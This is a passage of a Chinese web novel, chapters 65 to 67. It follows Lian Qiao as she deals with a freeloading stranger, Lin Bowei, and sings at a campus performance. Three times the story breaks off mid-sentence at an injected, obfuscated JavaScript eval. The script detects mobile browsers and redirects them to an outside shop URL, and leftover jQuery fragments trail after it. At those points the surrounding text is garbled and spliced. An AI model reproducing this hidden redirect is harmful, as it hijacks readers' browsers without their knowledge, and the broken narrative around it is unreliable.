谢佟俞往后看,一群凑热闹爱八卦的女生,他瞬间明白怎么回事。 脑海里开始浮现那天班上同学给他看的学校曝光的恶性行为照片。 他忍不住笑了下。 骑着摩托追上连翘。 “哎,你上车吧,我载你跑,这样快些。” “不用。” 连翘果断拒绝,要自个儿跑路。 她曾承诺过李空山,在她的国度里,他是唯一的子民。 所以,摩托车的后座如果是她,那么前面的人只能是她接纳的这唯一子民,是记忆中的少年,是风轻轻吹起时带来的他身上清凉薄荷的味道。 跑着跑着,连翘好像看到前面有个人,背影像极了记忆中的人。 65. 第 65 章 她二话不说,拐个弯追上去。 可是走近才发现,原来不是,只是她看错了人。 一时间,她突然也搞不懂自己的失落是怎么回事。 经历前一晚的风波之后,手链珠子生意这几天暂时也做不成。 连翘心里的怒火更盛,说什么也要找到那天的大叔,质问他这到底怎么一回事。 可是等连翘找到后勤管理处的卫生负责人,描述大叔的长相、工作地点和时间,翻看负责人拿出来的员工花名册和照片。 这才发现,环卫工里压根没有这号人。 偷鱼事件发生的时候,连翘以为自己只是被骗了一点点,现在她终于明白,她是被这大叔骗得彻彻底底。 她气鼓鼓地走出去,发誓自己以后绝对不再上任何人的当。 如果老天长眼,再让她见到这位大叔,她绝对跟他没完。 - 在跑校园外卖的日子里,连翘还意外地收获了一枚小迷妹。 那天恰好撞上学生下课,通往食堂的路上行人纷纷,任何交通工具想要穿越陆陆续续过马路的行人都不容易。 为了不撞到人,连翘骑着小电瓶车,开得很慢,车头扭来扭去,小心谨慎。 前面一个男生骑自行车飞快,差点就要撞上过马路的女孩,男生停了下来,见女孩趴在地上没事,就重新骑走。 不管不顾。 连翘把车停好,扶女孩起来 女孩双手叉腰,指着肇事逃逸的男生高声大骂:“喂!你脑子是不是有包,知不知道这样很危险!把我撞出问题了——怎——么——办!!” 她气呼呼的,人实在没了影才把目光收回来。 连翘见她膝盖上擦破皮,顺手从衣服兜里翻出两张创可贴给她。 二话不说,又重新骑上车准备上路。 女孩因连翘这一举动她对产生好感,连忙拦住她:“你人真好!你叫什么名字呀?我叫窦皖吟,我们可以做朋友吗?!” 她望向连翘的眼眸里充满期待。 连翘急着去送手上这单外卖,没时间停留,发动车子开出后回头。 “连翘。” “连翘?” 女孩想,这名字真罕见,不过也真可爱。 清风吹拂,卷起地面落叶到几米外。 望着连翘骑远又飒又威风的背影,窦婉吟不禁感叹,原来声音温和长得又温婉的人也可以那么酷。 她站在那儿独自乐呵,“……那我以后叫她翘翘。” 打听到连翘哪个学院哪个专业以后,窦婉吟隔三差五就去找连翘,在她面前刷存在感发自内心想和她做朋友。 - 临近大二的暑假,连翘最近在公众号上面看到榕城举办的一项国潮珠宝创作赛。 原本她没留心,觉得这东西费时间,还不如自己去接点稿子画画挣钱。 可是当她看见推文最下方写着一等奖奖金足足有两万块的时候,两眼瞬间发光。 这个比赛她必参加。 找灵感、定基稿、设配饰……凌晨两三点才睡,加班加点忙活了两个星期,连翘总算把稿子和样品弄好。 周六,她带着稿子和样品,准备到竞赛主办方所在地去交作品。 路上,好巧不巧,碰上了“老熟人”。 昨夜下过雨,凉意从地缝溢出,弥漫在空气里,连翘刚下公交车过马路,就看到公园旁边的一位扫地大叔正跟人扯皮,僵持不下。 第一眼,她没怎么注意。 第二眼,仔细一看,咦,这不那天池塘边那大叔吗。 连翘心里一横,难怪别人要和他扯皮。 不是没有原因。 他这人就爱赖皮。 她想着时间还早,便悄无声息挪过去偷听,这一听才知道,哦,原来是大叔去老板店里吃了五次面都没给钱。 老板来找他要钱,他反倒赖皮地说老板不够耿直。 连翘忍不住在心里“啧”了几声,果然,这大叔的厚脸皮程度一般人不能企及。 只见上次那大叔扯开面店老板拉自己衣服的手,“嗨哟——干什么干什么,两个大男人在街上拉拉扯扯的多不像话,你给我放开哦,注意点儿我的形象——” 老板无语,两手叉腰,“林帛圩!你到底还想吃霸王餐吃到什么时候?要是再不给钱,信不信我到派出所告你去!” 连翘当即按奈不住,冲上去,“告!必须告!你对他容忍,就是对他最大的残忍!我们不能让他越学越坏!” 面店老板迟疑:“……你是?” 连翘笑笑解释。 “哦,我就是一路过的,这不,刚才看你们在这儿起纠纷,就过来看看,”她看向旁边的环卫大叔,一本正经,“叔叔,不是我说你,你看我一个路人都看不下去了,吃饭给钱,天经地义,没有你这样的。” 大叔见了连翘,倒是很兴奋,毕竟他不知道后来发生了什么。 “哟,你不是上次在榕城大学里画画那同学嘛,啷个巧,在这儿都能碰见你?” 连翘虚假地笑,注视着林帛圩,实在高兴不起来,好像他压根不知道给自己闹出了什么名堂一样。 她刚想质问林帛圩上次为什么糊弄自己去捞玉佩,面店老板率先走过来,提起林帛圩的衣领。 “要不是看你上次救过我的猫,我才不会对你一忍再忍,林帛圩,今天是最后的期限,必须把欠我的面钱还清。否则——咱们就一起去公安局!” 林帛圩皱着眉将面店老板的手扳开,正言厉色提醒他,“干嘛呢干嘛呢,有什么话好好说,怎么还动手动脚哩?多不文明。” 在旁边当见证人的连翘端着手,站在面店老板这边,帮他说话,“叔叔,人家老板说得很有道理啊,你再怎么说也不能白吃白喝吧。我说句公道话,你今天就应该把欠人家的面钱全都还上。” 林帛圩盯她,皱起眉,拉长声音感叹,好像很意外、受伤,“哎哟哟,亏我上次还夸你善良,大晚上的还愿意帮我捞玉佩,没曾想,你这个同学的真面目竟是这个样子哩……” 他用右手捧住脸,装出一副就要潸然泪下的心碎样。 连翘想,这个叫林帛圩的叔叔脸皮是真厚。 顾及着自己还有要事办,添油加醋的目的也已经达成,连翘心高气傲打算离开。 在走之前,她特地给面店老板加油,鼓励说:“叔,你得拿出你的威严来,千万别放过他,今天他要是不还钱,你就给他点颜色瞧瞧,像他这样的,必须得拿出点手段。” 面店老板坚定地点头,“没错!我同意!” 连翘扬起轻松愉快的笑容,朝林帛圩说拜拜,然后就转身自在离去。 “哎——你就走啦?真不管我啦?”林帛圩眼巴巴地看着连翘离开,欲言又止。 面店老板开始来真的。 为了吓唬林帛圩,他随手在围裙兜里拿出一把螺丝刀,指着林帛圩,放大嗓门怒吼:“林帛圩!你丫的赶紧付钱!不然老子对你不客气!” 林帛圩收回落在连翘背影上的目光,颤巍巍看面店老板。 他虽然有些心虚,但面子上的功夫还是做得很足。 扬起下巴,趾高气扬。 “我不是跟你说过了吗,再等两天,等两天咯——两天以后我的卡里进钱了,我马上付钱,”他还忍不住皱眉嘀咕,教训面店老板的不是,“我说你这人也真是够够的哩,解释过多少次,就是听不进去。” 面店老板怒火直冲,“林帛圩!这是宽不宽限的问题吗?你第一次吃面不付钱的时候,也是这么说的!” 看来和林帛圩讲道理已经没有任何用处,身强体壮的面店老板直接拎起林帛圩的衣领,怒目瞪他:“不还是吧?不还那咱就去警察局,走,现在就去。” 二话不说,他拉着林帛圩往路边走,准备打车直奔警察局。 现在,林帛圩是真的有些慌了,他不再装得理直气壮,担惊受怕地把脑袋别向另一边,语气软了下来。 “……哎哟,你别这么冲动的撒,咱们做下来慢慢说嘛,这次我没骗你的咯,我是真的过两天就可以还你钱。” 面店老板已经被他这样的话骗过多次,现在说什么也不会相信。 林帛圩的两只手就这样被面店老板拽着,老板用力地把他拖去路边打车。 “救我——救我啊,帮帮忙!” 路边种着银杏树,小广场里建着小喷泉水池,刚走没多远的连翘的背影若隐若现。 无助之下,林帛圩只能放声大喊呼救,企图连翘能回心转意,回来帮他。 双行道上行驶的车辆来来往往,连翘走在路上,对身后传来的林帛圩的声音置若罔闻。 她想,她才不要去救他呢。 上次池边捞玉佩这件事把她坑得那么惨不说,还害得她之后的一个星期都不敢去操场摆摊,一下课走出教室都得戴上帽子和口罩伪装自己,小心翼翼混在人群里。 连翘好不容易才挺过一言难尽的“出名日子”,现在她才不要又上林帛圩的当。 恻隐之心虽然是有的,但是她想了想林帛圩对自己的所作所为,念头也就打消了。 可是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396882|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林帛圩被面店老板拖去警局,连翘就会立刻联想到以前的自己。 那个时候,她被田永贵打得鼻青脸肿,想要找人求救,帮帮自己,可是冷眼旁观才是大多数人。 她停下脚步,掉头回去。 - 面店老板数了数钱,金额对得上,便也不再找林帛圩的麻烦,直接走人。 连翘转身要走,林帛圩连忙跟上她,在她耳边嘻嘻哈哈道谢,“今天多亏了你,谢谢啊。我就知道你这女娃娃心善,肯定不会见死不救。” 她不怎么搭理他,快步往前,语气也冷淡。 “今天我帮你,纯属我犯蠢,自讨苦吃,以后绝对没有第二次。所以啊,你以后也别再出现在我面前,我这人可没那么多好心肠。” 林帛圩不甚在意,依旧一路跟着她往前走,脚步匆匆,“瞧你这话说的。你今天帮了我,就是我林帛圩的好朋友,以后你有什么麻烦,尽管来找我。我能帮得上你的,我一定帮。” “哎,可别,”连翘立即打断他的话,“麻烦会不会有呢,我倒是不知道,但是我知道,我要是相信你的鬼话,就一定会有麻烦。” 林帛圩讶然,绕到连翘左边,继续随着她往前走,神情不解,“哎唷你啷个这样子想喃,你肯定是对我有误会,娃娃,你说,到底是哪件事让你对叔叔我产生了误解?” “你居然还好意思问我,”连翘停下来,心中仍有气,“上次你骗我帮你捞玉佩,结果你只是为了让我打掩护,你自己好去烤鱼吃,亏我还好心帮你!过分!!” 林帛圩眨眨眼,别开目光,眼神飘忽,有些心虚,嘴角挂着尬笑。 “……哎唷,那不是想着你帮我打掩护嘛,谁让你那么容易轻信我的话撒。” 连翘原本的话被堵了回去,“……所以意思就是,还得怪我自己咯?” “那不是那不是,”林帛圩继续嘻嘻哈哈追赶连翘的步伐,绕到她旁边,“反正就是打个掩护,又没什么大不了的嘛,你说是不是?我就是那天刚好路过,看见你们学校里的鱼挺鲜美,正好肚子饿了,就捞上来现烤现吃撒……” 听到这儿,连翘的怒气逐渐消散,她犹豫地看向林帛圩,“……你真这么惨……连饭都吃不起?” 她再打量一眼林帛圩,他穿着的这身衣裳皱巴巴的,地毯便宜货,洗得都快褪色了。 好像还真是挺惨。 连翘语重心长,“就算你真的吃不起饭,也不能在外面坑蒙拐骗对不对?做人不能这样。” “咦——”林帛圩不赞成连翘这话,“女娃娃,叔叔我就是捞条鱼而已,你们校长那么大方,又不会怎样哩。” 连翘声音放低,扬起虚假的笑,“你当然不会怎样,可我就差点人尽皆知了……” 林帛圩瞬间明白连翘这话是什么意思,他惊讶,“哎唷!敢情你捞东西照片被爆出来了哇??” 他想保持严肃,但想想连翘这档子事就觉得好笑,忍不住了出来。 没办法,林帛圩只好强行用手按住自己的嘴角,甚至声音都变了调。 “……那,这事算我对不起你,我改天去你们学校说清楚要不要得,这样你就清白了。” “千万别,”连翘可不想再闹出什么风波,“你别再想着捉弄我,就是对我最大的仁慈了。” 连翘让林帛圩做自己的事去,别再跟着她,可是林帛圩怎么都赶不走。 她问林帛圩,穿着环工工马甲还光明正大到处跑,不怕被扣工资? 林帛圩这次倒是没再戏弄她了,实话实说。 “我不是这儿的环卫工,马甲是我随便在路上捡的。” 连翘顿住。 林帛圩让她叹为观止的事又多了一件。 她问为什么。 林帛圩说,他要出来体验生活。 连翘不理解,但也不继续追问为什么。 走到大厦外面,她就准备踏上台阶,直接进去,找对应办公室提交自己报名资料和设计稿。 东南方向吹来一阵大风,吹落连翘夹在作品稿里的个人报名资料,散在地面。 见状,林帛圩连忙热情主动地弯下腰替她捡起来,嘴角挂着笑。 看到扉页写着的名字那一栏,他怔住了几秒,笑容慢慢凝固。 连翘捡起其余几张朝他走来,对他说谢谢。 林帛圩若无其事把资料递给她,“不用谢撒,你才帮了我,这是我应该做的。” - 进去之前,连翘让林帛圩没事就赶紧离开这儿。 出来以后,她发现林帛圩还坐在台阶上等她。 66. 第 66 章 连翘当做没看见,绕开林帛圩往外走,林帛圩立即跟上她。 再没了之前的赖皮,而是很热情。 他刚在路边买了小笼包,还是热乎的,递给连翘,“我看你那么早就坐车来这儿,气色也不太好,肯定没吃早饭。这早饭你拿着吃,算我对你表示感谢,一点点心意。” 连翘看他一眼,有些疑惑,“……你有钱刚才怎么不还面店老板?” 林帛圩不好意思地绕绕后脑勺,“……那还不是因为我身上的钱只买得起这个,哪儿能还他啊。” 反正今天暂时也没什么事情,连翘和林帛圩坐在附近一座公园的台阶上聊天。 林帛圩问她:“我是不是看起来像个坏人?你好像很排斥我。” 连翘诚实回答:“看起来倒是还好,但是你一开口说话吧,就特别像。” “为什么?”林帛圩追问。 “因为你这个人在外面的一贯作风就是坑蒙拐骗,”连翘格外笃定地看远处的林木,“不过你放心,我已经上过一次当了,绝对不会再被你骗第二次!” 林帛圩哑然。 他想起来上次还在路边一家烤肉店看到连翘在里面端菜擦桌子打工,于是便问她,“你是不是生活条件不太好?一个女孩子大晚上跑出去干活,多不安全。家里有亲人吗?他们现在在哪儿?” “我家里的事是我私事,咱们才认识多久,我可不敢轻易告诉你,”连翘接着说,“不过嘛,至于我打工这件事,倒是没什么大不了的,你要是好奇,我倒是也可以跟你说说。” 恰巧此时,一个小男孩正在公园遛狗,于他们面前经过,林帛圩认得这类品种的狗,随口对连翘说,“这么巧,你看,这种狗我记得很贵来着,好像要好几万。这小孩家里肯定条件不差。” “几万??” 连翘的目光顺着林帛圩指的方向看过去,听见他说这话以后,瞬间不淡定。 她默默感叹一句,“……原来一条狗都比我值钱。” 林帛圩不解,追问她,“啥意思?” “我是负的。” 林帛圩疑惑。 “负……的……?” “对啊,现在的我负债累累,可不就是负的。” “负债?你欠谁钱了?怎么欠的?欠了多少?” 连翘偏头看旁边坐着的林帛圩。 岁月在他的眼尾留下痕迹,但他这样没心没肺的人肯定活得很轻松愉快,所以即便快五十岁了,看起来仍不显老。 连翘想,反正她也没什么倾诉的对象,林帛圩就是个陌生人,说了也不会有多大的影响。 便也不隐瞒。 她用手比数字,神色镇定,“六十八万九千三百二十七。” 林帛圩诧然,“干什么玩笑,你?一个小姑娘,年纪轻轻就欠了一屁股债?” 他一边感叹,一边用手朝她竖起大拇指,“你是这个。” 林帛圩不禁好奇,“你做了什么,欠别人这么多钱?” 连翘理直气壮,“这个你就管不着了,”她有意撇开话题,“不过嘛……其实有时候我看你也挺心酸的,因为你会让我想起从前的我。我以前也像你现在这样,一无所有。” 林帛圩听说连翘一个星期内能分别做五份不同的工作,不禁感叹她是个时间管理大师。除此之外,他还有个疑惑,“你说你都欠别人钱了,读大学的学费交得起吗?” 刚才一直小嘴叭叭个不停的连翘忽然顿住,她看着远处的薄云成片,蓦然想起来榕城的第一天时,在布朗熊里发现的东西。 她突然变得难过。 因为布朗熊的里兜放着的不是别物,而是钱——李空山为连翘准备好的、大学四年的学费钱和生活钱。 只会多,不会少。 那是他攒了好几年,全身上下能拿出来的所有。 连翘看到布朗熊里藏着的钱时,才恍然明白——其实李空山早就知到她要走了,可是他什么都没说,什么都没做,只是尊重她的选择,默默让她走。 她想起自己那时为了顺利逃脱编制的谎言,更加于心有愧。 可是那时的他在她面前依旧没哭也没闹。 一旁的林帛圩不知道连翘想起了什么伤心事。 因为他明明什么都没说,连翘看上去却快哭了。 他变得慌张,“你别哭呀,我可什么都没做,”他侧着身子,用手帮连翘一起朝眼睛扇风,试图劝退想要出来刷存在感的眼泪。 连翘仰起头,长长地深呼吸,给眼睛扇风,缓和自己的情绪,“我没事,我好得很。” 真的很好吗? 她的声音已经发颤。 林帛圩问连翘是不是想起了谁,连翘没有回避这个问题。 望着郁郁葱葱林木之后恢弘壮阔的高楼大厦,她说:“对,一个很好很好的人。” “哎唷——既然是很好的人,你伤心啥子喃,他对你好,肯定是因为你本身就好的撒——莫哭了喔——” 林帛圩拉长声音,给连翘扇眼泪。 “我不好,我一点儿都不好,甚至很坏。” 连翘低下头,原本憋回去的眼泪啪嗒落下来。 “以前的我为了能离开,自己一个人走,总是一次又一次骗他。” “每次开学交学费的时候,我总把费用往高了报,想把剩下的攒起来当离开的路费和大学学费。” “高三那一整年,我明明是走路去隔壁镇上学,却谎称要坐车,骗他给我车钱,这样,我又能攒一笔。” “不仅如此,我还骗他说我想在学校买牛奶和零食,这样,又能骗他给我一笔钱。” “从头到尾,我都亏欠他很多。在他心里,我应该是个大骗子才对。” 林帛圩眼里一阵落寞,他问连翘这个人真的有那么无私吗? 连翘说:“这个世界上不存在对所有人都无私的人,但是他对我,却很无私。他明明没有义务,更不存在理所应当……但他最后还是心甘情愿拱手让我离开,去自己想去的地方。” 林帛圩的心情不禁变得复杂,他难以想象连翘的过去,“这些年……你是不是活得很累……” 连翘摇头,努力止住眼泪,“不累。我在为我自己而活,就不会感到累。” “以前我以为活出自我,就必须摆脱所有人,斩断和所有人的联系,可当我独自经历一些事情后,我不这么想了。” 她说:“活出自我的意思是,活明白自己是谁,想要什么,能做什么。我有敢做自己的勇气,有知道自己想要什么的清醒,有爱一个人和不爱一个人的自由,这样的我就是我。” 林帛圩问她:“那你现在想要的是什么?” “很简单,我要挣钱,挣很多很多钱,一部分用来还债,一部分当自己立足于这个社会的底气。” “等到还清债务,功成名就,变得很优秀以后,我就回去找他。告诉他,连翘一点儿也不差,连翘活得很出色。” “连翘能够做他的世界里那颗耀眼的星星。” 有言道,前途未明者,无以言爱。 她首先要有自己的前途,再去选择是否要爱一个人。 连翘抛下李空山,是因为她想证明,她可以活下去,变独立,且不靠任何人,她想活出个名堂,活出自己的搏出来的风光。 林帛圩说他找了份连翘学校外面一家蛋糕店的工作,有问题有麻烦随时都可以去找他。 他还说,店里目前缺人,如果连翘需要的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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连翘想起谢佟俞平时那不靠谱的样,连连摇头,没有商量的余地,直接掉头走出教室去外面接水。 谢佟俞盯着连翘的背影,不禁笑了。 原来她也有这么冒冒失失的时候。 等连翘回来的时候,额头上的包突然鼓起变红。 她自己没发现,挪位置坐到她旁边的谢佟俞倒是盯着这包格外乐呵。 辅导员还没来,连翘举起握成拳头的手,直视前方,言简意赅,“你信不信我也给你头上来一个。” 谢佟俞连忙收住笑,别回脑袋看黑板,“不用了不用了,这东西还是在你脸上最好看。” 几分钟以后,辅导员来了,除了提醒同学注意预防诈骗,也向同学介绍这次学院129活动的时间和活动安排。 她鼓励同学们积极参加此次汇演活动,获奖同学不仅可以给班级增添荣誉,还可以额外获得一千元的奖金。 连翘虽然困,但也不敢浪费时间,趁着辅导员在讲台上说话的间隙,掏出自己的设计稿本继续补充细节。 自然没听进去辅导员的话。 谢佟俞看她画得那么认真,偏头问她,“欸,你听见没,报名可以拿到奖金欸。你辅导员说了,名额有限,先到先得。” 报名?? 奖金?? 还没搞清楚是什么,连翘直接举手站起来,动作迅速,声音激昂,“老师——!!我报名!!” 瞬间,全班鸦雀无声,所有人的目光都聚焦在连翘一个人身上。 辅导员很欣慰:“很好啊!看看,这位同学多积极,大家一定要向她多学习!那你是比较擅长唱歌还是跳舞呢?” 什么唱歌?什么跳舞? 连翘缓缓将目光挪向旁边的谢佟俞,不可饶恕的愤怒正在她眼底积压。 一旁的谢佟俞别开脑袋,看向过道地面,装出一副事不关己、一无所知的模样。 “谢、佟、俞……!!” 67. 第 67 章 距离129文艺表演活动还有十四天。 龙湖剧场排练台上,连翘站在台子中央,手里拿着话筒,像瞪仇人一样瞪观众席下方的谢佟俞。 虽一言未发,但杀伤力极大。 谢佟俞坐在第一排正中央,反倒自在轻笑,“看我干嘛?你自己报的名,赶紧调整下状态,到你试歌了。” 他见连翘独自一人站着,也许是紧张,便把随身的吉他放下,迈上台阶,走到她旁边,“放心,我是排练这边的负责人,你想排练多久,唱得不好听也没关系,有我给你指导,你怕什么。” 连翘愤恨的当然也不全是这个。 现在活动剧场人不算多。 除了配合谢佟俞操纵音响设备的几个人外,就只有几个少年少女坐在观众席最后一排轻声排练说唱。 下一批排练人员还没到,正在路上。 她盯着谢佟俞,“……虽然我在唱歌这方面确实不怎么厉害,但……你为什么要给我选首儿歌??还……开心超人??!” 谢佟俞忍住不笑,努力撇清自己的干系,“你可别冤枉我啊,这是你自己给我说的,要选一首气势磅礴、气氛到位、能百分百拿奖且你能唱好的歌。” 谢佟俞用手肘碰了下她肩,“怎样?是不是选得很好?我是说真的,童年回忆出口就来,你还怕到时候别人不投你票?” “我不要,”连翘把歌词稿还给谢佟俞,“太丢人了,要唱你自己唱去。” 连翘见下一批来排练的人已经到场,率先下台,“我的排练时间结束了,你先帮他们排练吧,我自己再一个人想想。” “哎——”谢佟俞望着她走开,依依不舍,无奈喊道:“别呀——大不了,我和你一起嘛。” 连翘找了个观众席中间的位置坐下,最后一排完成和声排练的男生女生开始休息。 其中一个人为了证明她刚才没有唱错词,打开手机音乐播放软件,点进歌单找歌。 而音乐软件启动后,也开始随机播放歌曲。 一首轻缓柔和的歌传到连翘耳朵里。 悠然的旋律伴以缓慢的节奏,温柔且治愈的曲调如同在风中摇曳。 曲声传入耳畔时,让人不禁感到舒心与放松,仿佛海就在眼前,山就在脚下,风就在脸颊旁。 像清风流水一样沁润着淡然安稳的灵魂。 歌词唱道:“……在……半边山的海,喧嚣都不在,静静听海浪道来……爱是怎样的存在?几个笨小孩……哭着笑着多开怀……山,有小黄花作伴,海,有小船停靠的岸……夜,有星星在眨眼……我,又看见你的脸……” 连翘的思绪被彻彻底底带入到这首歌里。 她换了个位置,坐到女生前面,回头好奇询问,“同学,你刚刚放的这首歌叫什么名字啊?” - “怎样?想清楚了吗?” 谢佟俞看完最后一场排练并给对方提完建议后,就下台朝观众席的连翘走去。 连翘自顾自笑着点头。 谢佟俞更好奇,难道她同意和自己一起了? 待连翘说完她的想法以后,谢佟俞立即坐到一边,和她隔了个位置,变得傲慢,“帮你呢,也不是不行,那你得先答应我之前说的,和我一起表演二人节目唱开心往前飞。” “谢佟俞,”连翘站起来,眉头不展,“你多大了还唱这种歌,唱就算了,干嘛还拉着我一起。” 谢佟俞坚持自己的立场,仰头看她,“好哦,那你就自己去练你想唱的那歌儿咯,我可不教你。” 连翘:“……” “行,我忍。” 她重新坐下。 谢佟俞立刻变得愉悦,“早说嘛你愿意。” 不过他倒是还有个疑问,偏头看连翘,“你为什么想唱那歌儿?你不是说你对音乐一窍不通吗?还敢挑战自己?” 连翘神情轻松,摇头晃脑,怡然自乐,“我想唱给一个人听不行吗。” 谢佟俞立即好奇地凑上去,势必要追问到底,“唱给谁听?我吗?” “你少臭美了,”连翘不屑一顾,振振有词,“他可是个很好的人,你和他不能比的。” “喂,怎么就不能比了?”谢佟俞站起来,心口不服,“每天陪着你的是我,和你说话解闷的人也是我,看着你一路艰难走到今天的也是我,我哪点比不上你说的那个人?你不舒服上吐下泻被送去医院的时候,我在你身边,他又在哪儿?” 连翘仰头看着谢佟俞,有些愣住,“这么认真干嘛?我就是随口说说。谢佟俞,你这人是不赖,也挺好的,但我们不是朋友吗?你说的。” 既然是朋友,斤斤计较做什么呢? 至少,连翘一直相信谢佟俞说的话——他拿她当好朋友。 谢佟俞无话可说,重新坐下去。 那句话的确是他自己说的没错,可是他就是为了搪塞别人问为什么在意连翘时,随口一说的话而已。 他现在想着连翘满脑子记挂的那人,心里来气。 他倒要看看,这人在他有生之年里敢不敢出现。 - 谢佟俞不服气是不服气,但教连翘学唱这首歌时,还是一如既往认真负责。 原本练习效果很佳,这几天排练也稳定发挥。 但临近表演那几天,连翘却突然开始紧张忐忑,害怕自己发挥失常。 谢佟俞宽慰她:“你放心,你的嗓音很柔,声音很干净,唱这首歌刚刚好,不会出意外。有时间在这儿担心这首歌,还不如多想想开心的事,找找和我一起唱开心往前飞的欢快状态,你说是不是?” “知道了知道了,谢佟俞你真啰嗦,我耳朵都快起茧子了。” 天台上和风习习,连翘踮起脚眺望远处的操场,楼下行路纷纷的学生和停靠在树荫下的单车一览无余。 谢佟俞卷起歌词稿握在手心,走到连翘旁边,他还是对连翘之前说的那人念念不忘。 “欸,你说你要把那歌儿唱给一个人听,咱就一学校的表演活动,他听得到吗他?” “还是说,你要专门表演完以后拿去给他看?” 连翘把手伸出去,轻轻笑着,感受有力的风从她指尖穿过。 她感受的是风,又不全是风,还有生命存在的痕迹。 “人是找不了。但这场活动不是要弄直播吗,说不定他在某个地方就看到了呢。” 谢佟俞没有再说什么,心里的嫉妒情绪直线上涨。 - 129活动表演当天。 学院共有十五个节目,连翘和谢佟俞共同表演的开心往前飞排在第八个,而她自己单人演唱的歌儿则抽到了最后一个出场。 活动开始前,谢佟俞和连翘已经提前为开心往前飞的表演准备了道具。 上场时,他们作为主演,都穿着白色衬衣和浅蓝色背带裤,和群演一起站成两排,手搭在前一个人的肩上,伴随着轻松愉快的音乐抬脚踱步。 每一步都随着音乐变化,富有节奏感,而整首歌的调子本身又欢快愉悦,他们在台上表演的时候,点燃全场氛围。 观众席上的每一个人都举起手振臂高呼,随着音乐和台上的他们的手势,一起左右摆动。 这是今夜最具带动力的表演节目。 音乐结束,谢佟俞和连翘一起上前,站在最前方鞠躬致谢,随后转身,有序退场。 身后的谢佟俞凑到她耳边,“怎样,我没说错吧,你看你刚才笑得多开心。” 连翘对刚才的表演很满意,沉浸在刚才简单又唱又跳的喜悦里,连连点头,“是是是,当然还是你最足智多谋。” 她没听懂谢佟俞话里的另一番意思。 随着活动进入尾声,终于轮到连翘上场带来她的个人表演曲。 三天前,谢佟俞问她准备穿什么上场时,连翘理直气壮地指着谢佟俞带来的开心向前飞表演服装,“还用问吗?你看不见?” 谢佟俞震撼,“……拜托,那是你单独上场,你不换一套衣服?” 连翘不懂有什么好换的,台下的人是听她唱歌,又不是给她穿着打扮打分。 谢佟俞再三苦劝,这是加分项。 他要带连翘去选一套礼服。 连翘坚决抗拒。 她往后退,抱住自己,使劲儿摇头。 没办法,谢佟俞最后只能在连翘勉为其难的接受范围内,找造型师到现场给她弄个头发。 她穿着自己的一件简单的淡黄色绣花无袖裙上台,裙子不算太长,大概到她小腿的位置。 造型师按照她能接受的改动,给她平日里爱扎的侧麻花辫增添了点儿装饰。 麻花辫垂在左肩前,纹路中有黄白色花朵点缀。 又在她的裙子外添了点淡青色薄纱,一条一条环绕,垂下来,像藤蔓。 最后,造型师还帮从来不化妆的她画了淡淡的妆,眼尾处着以淡青色、淡黄色两种眼影。 她本身皮肤底子很好,无需过多修饰,只需铺个底妆,涂个提气色的唇釉。 她轻轻地走上台时,仿佛是从含苞待放的花朵里迎面而来的精灵。 随着她在台中央站好,全场也随之不约而同安静下来。 她有些紧张,谢佟俞站在台下,给她手势示意,就像平常练习那样。 她安心许多,点头回应谢佟俞。 前奏响起,连翘把闭上的眼睛缓缓睁开,用她干净柔和的声音唱出这首干净柔和的歌。 女孩的嗓音很甜美,情感随着歌曲娓娓道来。 “……在,半边山的海,海半边的山,我在山与海只见,在我心中的你,你眼中的我,牵挂着无数思念……” “山,有小黄花作伴,海,有小船停靠的岸,夜——里星星在眨眼,人——又不觉地想念……” “爱是怎样的存在,几个笨小孩,哭着笑着多开怀……夜——里星星在眨眼,我——又看见你的脸,人生总要经历悲与欢,我们总有相聚相散……” “曾经陪伴的人已走远,或许化作天上星星点点……海上飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426498|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一只小纸船,山与海相依偎着聊天,满山黄花望天空的蓝,寄托我对你的思念……” “人——又不觉的——想念……” 她想象着清流镇到村子的距离,想象着山丘上肆意奔跑的李空山、小海、可萱姐姐和楼巩。 仿佛过去就在昨天,爱她的人就在眼前。 这首歌的节奏轻慢,情感平铺直叙,无需过多修饰,无需过于繁杂的演唱技巧,唯有其间的真挚情感最打动人。 她就这样用自己干净的声音唱出这首歌里干净的情意。 坐在观众席的人被她的声音带进去,仿佛也想起了自己的青春年少和无忧无虑。 台上,连翘脸颊处划过一滴泪,台下,谢佟俞注视着她,蓦地变难过。 他突然很羡慕连翘心里的那个人——因为,这个人总能在不经意间,牵动她的点滴思绪。 哪怕这三年多的时间里此人从未出现过,但连翘始终未曾忘记他。 - 从包间里出来,李空山反手把门关上,手里拿着外套,一改彼时的正经沉稳,皱眉感叹,“我去——那姓李的上辈子是酒瓶子做的吧,这么能喝。我灌了他一个小时才把他灌倒。” 走廊上,孟河背靠墙等李空山。见他出来了,立即站直,转身走过去帮他拿外套。 忍不住笑,碎碎念,“……哥,你也姓李,骂人可以,可别把自己也给骂了呀……” 李空山哑然,长久沉默地盯孟河。“……” 他挑眉,“我不知道他姓李?我刚才这话仅仅指他一人。” 李空山那张脸依旧少年感十足,侧脸轮廓清晰,下颌线明了,眼中的锐利和锋芒依旧耀眼,只是比起从前,还是削减了许多。 毕竟小海、奶奶、楼巩的事情已经相继给予他很大的打击。 